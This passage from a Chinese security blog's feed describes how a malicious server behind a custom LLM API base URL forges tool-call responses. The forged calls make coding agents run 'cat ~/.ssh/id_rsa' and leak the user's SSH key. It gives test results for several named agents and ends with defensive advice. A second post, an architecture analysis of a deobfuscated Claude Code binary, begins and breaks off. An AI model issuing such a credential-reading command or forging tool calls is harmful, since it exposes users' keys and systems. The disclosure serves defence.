class="notion-inline-code">arguments</code>中包含命令：<code class="notion-inline-code">cat ~/.ssh/id_rsa</code>，用于读取用户机器上的 SSH 私钥。</div></ol></ol><ol start="9" class="notion-list notion-list-numbered notion-block-31f0f0c5b87c808da641c90e6c5873ec" style="list-style-type:decimal"><li><b>通过</b>*<code class="notion-inline-code">finish_reason: tool_calls</code>*** 触发工具执行 **</li><ol class="notion-list notion-list-numbered notion-block-31f0f0c5b87c808da641c90e6c5873ec" style="list-style-type:lower-alpha"><div class="notion-text notion-block-31f0f0c5b87c809db7ebd178db4b0b72">这个字段表示模型输出结束的原因是需要调用工具，客户端通常会据此执行该工具。</div></ol></ol><div class="notion-text notion-block-31f0f0c5b87c8061b870fd7253dc6bb1">如果 Agent 支持并允许执行<code class="notion-inline-code">shell</code> 工具，就可能在本地运行该命令，从而读取并泄露 SSH 私钥。</div><hr class="notion-hr notion-block-31f0f0c5b87c80e49e25c5f83762d0c9"/><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-31f0f0c5b87c808c813ceaa5235c7a07" data-id="31f0f0c5b87c808c813ceaa5235c7a07"><span><div id="31f0f0c5b87c808c813ceaa5235c7a07" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31f0f0c5b87c808c813ceaa5235c7a07" title="0x04 主流 AI Agent 的测试结果"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">0x04 主流 AI Agent 的测试结果</span></span></h3><div class="notion-text notion-block-31f0f0c5b87c80b68a09fa1d0f60832c">我们发现，当 AI Agent 收到一个包含 <code class="notion-inline-code">cat ~/.ssh/id_rsa</code> 的 <code class="notion-inline-code">tool_use</code> 模块时，不会弹窗询问是否允许执行 <code class="notion-inline-code">cat ~/.ssh/id_rsa</code>、无警告提示用户连接的是非标准 API 接口、缺乏可供用户查看的审计日志、没有沙箱机制来限制命令在安全操作范围内、无签名机制验证响应是否来自官方正确的提供商、缺少启发式算法将“读取 SSH 私钥”标记为可疑行为……</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-31f0f0c5b87c80d9aad6d2bb4c74f5c5"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://secure2.wostatic.cn/static/pjKhXgC5mxhkt1RAeK1bTH/image.png?auth_key=1773129204-2rk1SsbRfPGFVuWCw7zZx3-0-d5a80e7c9bb521f7664b4e54edb18b96&amp;spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=31f0f0c5-b87c-80d9-aad6-d2bb4c74f5c5" alt="图3：CodeX 的测试结果" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-31f0f0c5b87c8056befed63e923a4dd5">![图4：OpenCode 的测试结果](<a class="notion-link" href="https://secure2.wostatic.cn/static/62wmqGvTPNt2GAjGjK9t9B/image" target="_blank" rel="noopener noreferrer">https://secure2.wostatic.cn/static/62wmqGvTPNt2GAjGjK9t9B/image</a> 1.png?auth_key=1773129204-rmbTcgp2VQkBMT6cvYv1H-0-4d72a054ae00e17828b16947f6d5512d)</div><div class="notion-text notion-block-31f0f0c5b87c80ce81bce984136a5789">![图5：Gemini CLI 的测试结果](<a class="notion-link" href="https://secure2.wostatic.cn/static/rsXX5UsD6xMDffHXEZeHby/image" target="_blank" rel="noopener noreferrer">https://secure2.wostatic.cn/static/rsXX5UsD6xMDffHXEZeHby/image</a> 2.png?auth_key=1773129204-4pvQjNJpwpY53noxG7FzXe-0-0973a4df8a44bba65df39a0d21c37d5b)</div><div class="notion-text notion-block-31f0f0c5b87c80d4bb68db1f74b5a212">![图6：OpenClaw 的测试结果](<a class="notion-link" href="https://secure2.wostatic.cn/static/qLF5b51FKhFRJYYXPRceC5/image" target="_blank" rel="noopener noreferrer">https://secure2.wostatic.cn/static/qLF5b51FKhFRJYYXPRceC5/image</a> 3.png?auth_key=1773129204-7cCzqaCJYXyeoLWLkjWDJZ-0-5799019601a5646fbb9a49b70a35597b)</div><div class="notion-text notion-block-31f0f0c5b87c80beb0bff83b8f757707">![图 7：Claude Code 的测试结果](<a class="notion-link" href="https://secure2.wostatic.cn/static/8yKXKJmW1AUjNZvbHjmDAc/image" target="_blank" rel="noopener noreferrer">https://secure2.wostatic.cn/static/8yKXKJmW1AUjNZvbHjmDAc/image</a> 4.png?auth_key=1773129204-8wUGBfiTTNHoMYtyC1zMJT-0-c1781a0b228fa67f12d1383eb0b3530c)</div><div class="notion-text notion-block-31f0f0c5b87c8050838cd2d98fad602d">测试结果如表 1 所示，由于没有任何缓解措施，工具能够以启动 Agent 的用户权限运行。如果该用户可以免密使用 sudo，攻击者便能获得 root 权限；若用户可访问生产数据库，攻击者则能获取生产数据。</div><table class="notion-simple-table notion-block-31f0f0c5b87c80a29e38dc318422e27c"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-31f0f0c5b87c80deaafcc1adfa0b9e07"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>Agent</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>是否有确认提示</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>是否有自定义接口警告</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>命令沙盒隔离</b></div></td></tr><tr class="notion-simple-table-row notion-block-31f0f0c5b87c800491aac74bc911211d"><td class="" style="width:120px"><div class="notion-simple-table-cell">Claude Code</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">否</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">否</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">否</div></td></tr><tr class="notion-simple-table-row notion-block-31f0f0c5b87c80f79017ec92150b5dad"><td class="" style="width:120px"><div class="notion-simple-table-cell">CodeX CLI</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">否</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">否</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">是(默认启动)</div></td></tr><tr class="notion-simple-table-row notion-block-31f0f0c5b87c8009b33ff0a19b761b78"><td class="" style="width:120px"><div class="notion-simple-table-cell">Gemini CLI</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">否</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">否</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">否</div></td></tr><tr class="notion-simple-table-row notion-block-31f0f0c5b87c80728b0cd591a0bc9686"><td class="" style="width:120px"><div class="notion-simple-table-cell">OpenCode</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">否</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">否</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">否</div></td></tr><tr class="notion-simple-table-row notion-block-31f0f0c5b87c8049af39fb8f325f815b"><td class="" style="width:120px"><div class="notion-simple-table-cell">OpenClaw</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">否</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">否</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">否</div></td></tr></tbody></table><hr class="notion-hr notion-block-31f0f0c5b87c804c98a1f4a863246611"/><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-31f0f0c5b87c8092a426c10db1ed69dd" data-id="31f0f0c5b87c8092a426c10db1ed69dd"><span><div id="31f0f0c5b87c8092a426c10db1ed69dd" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31f0f0c5b87c8092a426c10db1ed69dd" title="0x05 AI Agent时代的混淆代理人漏洞"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">0x05 AI Agent时代的混淆代理人漏洞</span></span></h3><div class="notion-text notion-block-31f0f0c5b87c80048550ceeeb048aa56">这个漏洞是 AI Agent 时代中的混淆代理人 (<a class="notion-link" href="https://en.wikipedia.org/wiki/Confused_deputy_problem" target="_blank" rel="noopener noreferrer">Confused Deputy</a>)漏洞，且容易被大多数安全从业者所忽视。</div><div class="notion-text notion-block-31f0f0c5b87c80598b5ad87ad16d99a8">传统的混淆代理攻击是一种利用受信任的程序或用户来执行未授权操作的攻击手法。例如：CSRF通过浏览器自动发送认证请求来进行敏感操作；XSS则通过注入恶意脚本，使浏览器在已认证会话中执行攻击者的代码；点击劫持则诱导用户在看似无害的界面上进行操作，实际上却触发了敏感操作。</div><div class="notion-text notion-block-31f0f0c5b87c80f8939dddc9bf428ddc">在这种情况下，AI Agent 成为了“代理人”，被赋予了执行 Shell 命令、读写文件以及发起网络请求的权限。用户在运行 Agent 时，实际上也隐式地授予了这些权限。LLM API 应该是指导 Agent 行动的“受信任委托人”。</div><div class="notion-text notion-block-31f0f0c5b87c80649ba6fe088acec771">然而，Agent 和 API 之间的协议缺乏对响应内容进行验证的机制。Agent 无法确定某个工具调用是由 LLM 的推理过程生成的，还是由恶意服务器硬编码返回的。API 的响应仅是一个 JSON 数据块，而任何人都可以构造这样的数据块。</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-31f0f0c5b87c80658ddcd1621b581275"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://secure2.wostatic.cn/static/mvoMFBVzRRF2SbK6GyF8TK/image.png?auth_key=1773129205-kNNBazbmu6afFGxa8XuMYG-0-aafd8b9c005e5565be59fd81029a3e8b&amp;spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=31f0f0c5-b87c-8065-8ddc-d1621b581275" alt="图 8：AI Agent 劫持" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-31f0f0c5b87c80ed8561e05e3dcf9eb7">这与提示词注入 (Prompt Injection)不同。在提示词注入中，攻击者通过精心构造的输入来操纵 LLM 的推理过程。而在这里，攻击者完全绕过了 LLM，根本没有 LLM 参与其中。恶意服务器不需要具备高度智能或理解自然语言的能力，只需返回结构正确的 JSON 对象，其余工作将由 Agent 自动完成。</div><div class="notion-text notion-block-31f0f0c5b87c80358612fbebe7ea023a"><b>认识到这一点至关重要，因为这意味着所有旨在“提高大型语言模型对对抗性输入的鲁棒性”的防御措施在此情境下均无效。如果大型语言模型并未参与其中，就无法提升其鲁棒性，因为这种攻击发生在协议层，处于智能层之下。</b></div><div class="notion-text notion-block-31f0f0c5b87c80708a83db3691bf88d6">关于Agent劫持的更多信息，可参见 NIST 技术博客文章：<a class="notion-link" href="https://www.nist.gov/news-events/news/2025/01/technical-blog-strengthening-ai-agent-hijacking-evaluations" target="_blank" rel="noopener noreferrer">《Technical Blog: Strengthening AI Agent Hijacking Evaluations》</a></div><hr class="notion-hr notion-block-31f0f0c5b87c8030b8a9c37aa7a92b02"/><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-31f0f0c5b87c8020b2e0cd9fd165c607" data-id="31f0f0c5b87c8020b2e0cd9fd165c607"><span><div id="31f0f0c5b87c8020b2e0cd9fd165c607" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31f0f0c5b87c8020b2e0cd9fd165c607" title="0x06 Agentic AI OWASP 02:工具滥用（Tool Misuse）"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">0x06 Agentic AI OWASP 02:工具滥用（Tool Misuse）</span></span></h3><div class="notion-text notion-block-31f0f0c5b87c80cc9dc0cd17a3f502ee">这种混淆代理人漏洞的存在，完全是因为两种尚未学会相互防备的工程文化发生了碰撞：</div><ul class="notion-list notion-list-disc notion-block-31f0f0c5b87c80058fa6eb92ad1e112e"><li><b>LLM API 的文化</b>：这种文化构建了支持代理、负载均衡、缓存和重定向的 API。高可配置性是其核心特性之一。每个 SDK 都支持自定义基础 URL，并默认传输层的安全由用户负责。</li></ul><ul class="notion-list notion-list-disc notion-block-31f0f0c5b87c803f879bfcf66ffae5fd"><li><b>工具调用 Agent 的文化</b>：这种文化追求响应迅速、快捷且自主的执行引擎。AI Agent 的设计初衷是能够自主行动，无需每一步都等待批准。它们默认指令来源于可信渠道。</li></ul><div class="notion-text notion-block-31f0f0c5b87c80948d28c7945dd3516b">单独来看，这两种文化都是合理的，但结合在一起却非常危险：不受信任的输入通过可配置的管道流入了一个不受限制的执行引擎中。因此，OWASP 在 2025 年 12 月发布的<a class="notion-link" href="https://genai.owasp.org/resource/agentic-ai-threats-and-mitigations/" target="_blank" rel="noopener noreferrer">《Agentic AI - Threats and Mitigations（OWASP Top 10 for LLM Apps &amp; Gen AI Agentic Security Initiative）》</a>中将其命名为工具滥用（Tool Misuse），并列为第二大威胁。</div><div class="notion-text notion-block-31f0f0c5b87c80c79ea7d229835b2486"><b>工具滥用（Tool Misuse）是指攻击者通过欺骗性的提示词（prompt）和操作误导，操纵 AI Agent 滥用其被授权的工具，从而在权限范围内实现未授权的数据访问、系统操控或资源滥用。</b></div><div class="notion-text notion-block-31f0f0c5b87c80b8814bf7a4751d0442">与传统漏洞利用不同，这种攻击利用了AI 能够调用多个工具并执行复杂操作链的能力。这些操作表面上看起来是合法的，但组合在一起可能产生恶意效果，因此检测难度较大。在 AI 控制关键系统或敏感操作的场景中，这种风险会被进一步放大，因为攻击者可以利用自然语言的灵活性绕过安全控制并触发非预期行为。</div><div class="notion-text notion-block-31f0f0c5b87c801d9776e1526aa7f9f9">该威胁部分被<b><a class="notion-link" href="https://genai.owasp.org/llmrisk/llm062025-excessive-agency/" target="_blank" rel="noopener noreferrer">LLM06:2025 Excessive Agency（过度代理能力）</a></b>覆盖。然而，Agentic AI 系统由于其动态集成能力、对工具的更高依赖以及更强的自主性，引入了新的独特风险。</div><div class="notion-text notion-block-31f0f0c5b87c805d83bdf47134b92370">我们再看回图2发现：与传统 LLM 应用（通常只在单次会话中限制工具集成）不同，Agent 通常具有<b>长期记忆（memory）</b>，这进一步提升了自主性，并且可以<b>将执行任务委派给其他 Agent</b>，从而增加了非预期操作和对抗性利用的风险。</div><div class="notion-text notion-block-31f0f0c5b87c80859c32cc1c99f85045">此外，该威胁还与以下问题相关：</div><ul class="notion-list notion-list-disc notion-block-31f0f0c5b87c8004b005db33bf38137a"><li><b><a class="notion-link" href="https://genai.owasp.org/llmrisk/llm032025-supply-chain/" target="_blank" rel="noopener noreferrer">LLM03:2025 Supply Chain（供应链风险）</a></b></li></ul><ul class="notion-list notion-list-disc notion-block-31f0f0c5b87c801bb9add194e16ec112"><li><b><a class="notion-link" href="https://genai.owasp.org/llmrisk/llm082025-vector-and-embedding-weaknesses/" target="_blank" rel="noopener noreferrer">LLM08:2025 Vector and Embedding Weaknesses（向量与嵌入弱点）</a></b>，尤其是在通过工具执行<b>RAG（检索增强生成）</b> 时</li></ul><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-31f0f0c5b87c8082a78df86de0695077"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://secure2.wostatic.cn/static/gxG14acTWqK6dxUposri4s/image.png?auth_key=1773129205-iqFbvdPjLqiJhTwqXbP61z-0-7298baedb0ab1fa3915708badc0e5358&amp;spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=31f0f0c5-b87c-8082-a78d-f86de0695077" alt="图9：工具滥用**（Tool Misuse）**与 LLM OWASP Top 10 的关联" loading="lazy" decoding="async"/></div></figure><hr class="notion-hr notion-block-31f0f0c5b87c80d69813de065e9c511b"/><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-31f0f0c5b87c80d68187deb79f84476c" data-id="31f0f0c5b87c80d68187deb79f84476c"><span><div id="31f0f0c5b87c80d68187deb79f84476c" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31f0f0c5b87c80d68187deb79f84476c" title="0x07 安全影响与防御建议"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">0x07 安全影响与防御建议</span></span></h3><div class="notion-text notion-block-31f0f0c5b87c80018762d41258a3c427">最后，请再想想：如果 AI Agent 是 AI Coding Agent （AI 编程智能体）会发生什么？</div><div class="notion-text notion-block-31f0f0c5b87c80669221cac4a8ecfe87">AI Coding Agent 的使用者是软件开发者，他们是编写和维护世界运转所需基础设施代码的人。开发者的机器是供应链攻击中最具价值的目标。如果 AI Coding Agent 被劫持，那么基础设施或供应链也会受到威胁（Infrastructure / Supply Chain Attack）。</div><div class="notion-text notion-block-31f0f0c5b87c800c9827f6392b1efef2">一个开发者的工作站通常包含以下内容：Git 代码仓库、SSH 密钥、云凭证、内部服务的 API 令牌、数据库访问凭证、容器镜像仓库凭证、K8s 集群访问配置以及未发布的产品代码。一旦工作站被攻陷，就会引发一场严重的供应链危机。通过 DevOps 开发流程和 CI/CD 流水线，生产环境可能在几分钟内被迅速攻陷。</div><div class="notion-text notion-block-31f0f0c5b87c80ce8fdaed47652fa38f">从攻击者的角度来看，这种攻击手法因其普适性和隐蔽性而极具吸引力。越来越多的个人和企业正在使用这类工具，但安全措施往往滞后于业务发展。如果不审计 Agent 的行为，恶意命令可能会混杂在日常工作中，在你的眼皮底下执行。修复方案很简单，我们从 Agent 开发者和当前用户两个视角分别提供不同的防御建议。</div><div class="notion-text notion-block-31f0f0c5b87c803d92dbd874f1eb69f0"><b>对 Agent 开发者而言：</b></div><ol start="1" class="notion-list notion-list-numbered notion-block-31f0f0c5b87c8033a5daea6bdd70e21f" style="list-style-type:decimal"><li><b>将所有工具调用视为不受信任的输入。</b> 无论其来源如何，工具调用都是执行特权操作的请求，在执行前必须进行验证。</li></ol><ol start="2" class="notion-list notion-list-numbered notion-block-31f0f0c5b87c80cab6a2fa6c69e080cb" style="list-style-type:decimal"><li><b>对于破坏性或敏感操作，必须要求用户确认。</b> 至少包括网络访问、项目目录之外的文件读取、涉及凭证或密钥的命令以及对系统文件的任何写入。</li></ol><ol start="3" class="notion-list notion-list-numbered notion-block-31f0f0c5b87c8004ae26fc86739c8386" style="list-style-type:decimal"><li><b>当 API 接口不是官方默认接口时，显示持久且不可关闭的警告。</b> 用户应随时知道自己连接的是非标准服务器。</li></ol><ol start="4" class="notion-list notion-list-numbered notion-block-31f0f0c5b87c809aa95cc8b567339d55" style="list-style-type:decimal"><li><b>实施响应签名机制。</b> API 服务器应对响应进行签名，Agent 应验证这些签名。虽然这不能防范所有攻击（被攻陷的 Agent 仍然可以转发合法响应），但能防止最简单的伪造服务器攻击。</li></ol><ol start="5" class="notion-list notion-list-numbered notion-block-31f0f0c5b87c803abeb5dfb40e9f709d" style="list-style-type:decimal"><li><b>将所有执行过的命令记录到防篡改的日志中。</b> 如果用户无法看到发生了什么，就不可能发现系统已被攻陷。</li></ol><ol start="6" class="notion-list notion-list-numbered notion-block-31f0f0c5b87c8020be92d0637397b79c" style="list-style-type:decimal"><li><b>将工具执行沙盒化。</b> Agent 不需要对用户的文件系统和网络拥有完全访问权限。应在具有显式能力授权的受限环境中运行命令。</li></ol><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-31f0f0c5b87c800a83eed41e8375d9f8"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://secure2.wostatic.cn/static/vWZGB3kHokPo9dScVcTL14/image.png?auth_key=1773129694-jJdBJFfCEDD8rUfbZ6PpYT-0-dca1fe854b82a0e5ed12964f1bfa13ea&amp;spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=31f0f0c5-b87c-800a-83ee-d41e8375d9f8" alt="图 10：Agent 开发者安全措施" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-31f0f0c5b87c80779f56e50258ea0d42"><b>对当前用户而言：</b></div><ol start="1" class="notion-list notion-list-numbered notion-block-31f0f0c5b87c80f88bc9cb2dffb67e19" style="list-style-type:decimal"><li><b>永远不要将 </b><code class="notion-inline-code"><b>ANTHROPIC_BASE_URL</b></code><b> 或 </b><code class="notion-inline-code"><b>OPENAI_BASE_URL</b></code><b> 设置为你无法完全控制和信任的服务器。</b></li></ol><ol start="2" class="notion-list notion-list-numbered notion-block-31f0f0c5b87c80718c5aed07c6f547d6" style="list-style-type:decimal"><li><b>永远不要使用非你自己编写的代码库中的 </b><code class="notion-inline-code"><b>.env</b></code><b> 文件。</b></li></ol><ol start="3" class="notion-list notion-list-numbered notion-block-31f0f0c5b87c8058b5baf299a24695e3" style="list-style-type:decimal"><li><b>对“免费 API Agent”保持高度警惕。</b></li></ol><ol start="4" class="notion-list notion-list-numbered notion-block-31f0f0c5b87c80ebb24ef83f69e7acfa" style="list-style-type:decimal"><li><b>在使用 AI Coding Agent 后，定期检查你的 Shell 历史记录，留意那些你并未要求执行的命令。</b></li></ol><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-31f0f0c5b87c80f78bf6f72968cade68"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://secure2.wostatic.cn/static/bG6VrB4hwmWEeFjwKYYnJ/image.png?auth_key=1773129694-aQ4SMHJkunEV8d6vvmjZc2-0-200445da258685f98dedb4cef3212637&amp;spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=31f0f0c5-b87c-80f7-8bf6-f72968cade68" alt="图 11:如何确保 AI Coding Agent 的安全" loading="lazy" decoding="async"/></div></figure></main></div>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Claude Code v2.1.71 — 完整架构分析报告]]></title>
            <link>http://www.cdxiaodong.life//article/31d0f0c5-b87c-8043-84a2-d47565f6f9e5</link>
            <guid>http://www.cdxiaodong.life//article/31d0f0c5-b87c-8043-84a2-d47565f6f9e5</guid>
            <pubDate>Mon, 09 Mar 2026 00:00:00 GMT</pubDate>
            <content:encoded><![CDATA[<div id="notion-article" class="mx-auto overflow-hidden "><main class="notion light-mode notion-page notion-block-31d0f0c5b87c804384a2d47565f6f9e5"><div class="notion-viewport"></div><div class="notion-collection-page-properties"></div><div class="notion-text notion-block-31d0f0c5b87c80ebb078ec9a5e9daf78">起因是因为要用的claude-sdk做一些agent业务拓展。，所以需要对它进行分析，但是很是苦恼他们的闭源加密。</div><blockquote class="notion-quote notion-block-31d0f0c5b87c80d5ac6dffe6fe4018d4"><div>Claude Code是Bun打包的单文件可执行程序，183MB大小。所有JS代码全塞在__BUN Mach-O section里，4945个模块，全部混淆压缩。哪怕用了--bytecode，Bun还是把完整JS源码一起打包（字节码只是启动加速）</div></blockquote><div class="notion-text notion-block-31d0f0c5b87c80b0a255f46b8672b777">后面发现该项目可以用于解密claudecode 感兴趣的大佬可以自行解密并分析。</div><div class="notion-text notion-block-31d0f0c5b87c803c8ee5e52240e9ebb4"><b>版本</b>: 2.1.71
<b>构建时间</b>: 2026-03-06T22:45:36Z
<b>包名</b>: @anthropic-ai/claude-code
<b>分析日期</b>: 2026-03-09
<b>分析工具</b>: bun-demincer</div><hr class="notion-hr notion-block-31d0f0c5b87c800eb879ded1528d4015"/><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-31d0f0c5b87c80fc8dc6ce7d7a3634d0" data-id="31d0f0c5b87c80fc8dc6ce7d7a3634d0"><span><div id="31d0f0c5b87c80fc8dc6ce7d7a3634d0" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80fc8dc6ce7d7a3634d0" title="目录"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">目录</span></span></h3><ol start="1" class="notion-list notion-list-numbered notion-block-31d0f0c5b87c80e08b96df65943729cf" style="list-style-type:decimal"><li><a class="notion-link" href="about:blank#1-%E6%80%BB%E4%BD%93%E6%9E%B6%E6%9E%84%E6%A6%82%E8%A7%88">总体架构概览</a></li></ol><ol start="2" class="notion-list notion-list-numbered notion-block-31d0f0c5b87c8069ada9c90824374c16" style="list-style-type:decimal"><li><a class="notion-link" href="about:blank#2-%E6%A8%A1%E5%9D%97%E7%B3%BB%E7%BB%9F%E5%8E%9F%E7%90%86">模块系统原理</a></li></ol><ol start="3" class="notion-list notion-list-numbered notion-block-31d0f0c5b87c80f9a535ea31c0103dcd" style="list-style-type:decimal"><li><a class="notion-link" href="about:blank#3-%E5%90%AF%E5%8A%A8%E6%B5%81%E7%A8%8B%E8%AF%A6%E8%A7%A3">启动流程详解</a></li></ol><ol start="4" class="notion-list notion-list-numbered notion-block-31d0f0c5b87c80d99dabd3a978b1bebb" style="list-style-type:decimal"><li><a class="notion-link" href="about:blank#4-agent%E5%BE%AA%E7%8E%AF%E6%9E%B6%E6%9E%84">Agent循环架构</a></li></ol><ol start="5" class="notion-list notion-list-numbered notion-block-31d0f0c5b87c8082a6b4fdbdfc295b98" style="list-style-type:decimal"><li><a class="notion-link" href="about:blank#5-api%E4%BA%A4%E4%BA%92%E6%9C%BA%E5%88%B6">API交互机制</a></li></ol><ol start="6" class="notion-list notion-list-numbered notion-block-31d0f0c5b87c80a8b989ebce47d65195" style="list-style-type:decimal"><li><a class="notion-link" href="about:blank#6-%E5%B7%A5%E5%85%B7%E7%B3%BB%E7%BB%9F%E8%AF%A6%E8%A7%A3">工具系统详解</a></li></ol><ol start="7" class="notion-list notion-list-numbered notion-block-31d0f0c5b87c8038a72bf2f33a76048a" style="list-style-type:decimal"><li><a class="notion-link" href="about:blank#7-%E6%9D%83%E9%99%90%E5%92%8C%E5%AE%89%E5%85%A8%E6%A8%A1%E5%9E%8B">权限和安全模型</a></li></ol><ol start="8" class="notion-list notion-list-numbered notion-block-31d0f0c5b87c80828792d6bc679e6aa7" style="list-style-type:decimal"><li><a class="notion-link" href="about:blank#8-hook%E7%B3%BB%E7%BB%9F">Hook系统</a></li></ol><ol start="9" class="notion-list notion-list-numbered notion-block-31d0f0c5b87c8094987cfafc56efe124" style="list-style-type:decimal"><li><a class="notion-link" href="about:blank#9-%E4%B8%8A%E4%B8%8B%E6%96%87%E7%AE%A1%E7%90%86">上下文管理</a></li></ol><ol start="10" class="notion-list notion-list-numbered notion-block-31d0f0c5b87c80b98cfcc14628800ab3" style="list-style-type:decimal"><li><a class="notion-link" href="about:blank#10-ui%E6%A1%86%E6%9E%B6%E4%B8%8E%E6%B8%B2%E6%9F%93">UI框架与渲染</a></li></ol><ol start="11" class="notion-list notion-list-numbered notion-block-31d0f0c5b87c8023b9fbc8ba9ef6573b" style="list-style-type:decimal"><li><a class="notion-link" href="about:blank#11-%E8%AE%A4%E8%AF%81%E7%B3%BB%E7%BB%9F">认证系统</a></li></ol><ol start="12" class="notion-list notion-list-numbered notion-block-31d0f0c5b87c8051a48ad596de89b85a" style="list-style-type:decimal"><li><a class="notion-link" href="about:blank#12-mcp%E9%9B%86%E6%88%90">MCP集成</a></li></ol><ol start="13" class="notion-list notion-list-numbered notion-block-31d0f0c5b87c802ebcadd51710933db5" style="list-style-type:decimal"><li><a class="notion-link" href="about:blank#13-%E6%8F%92%E4%BB%B6%E4%B8%8Emarketplace">插件与Marketplace</a></li></ol><ol start="14" 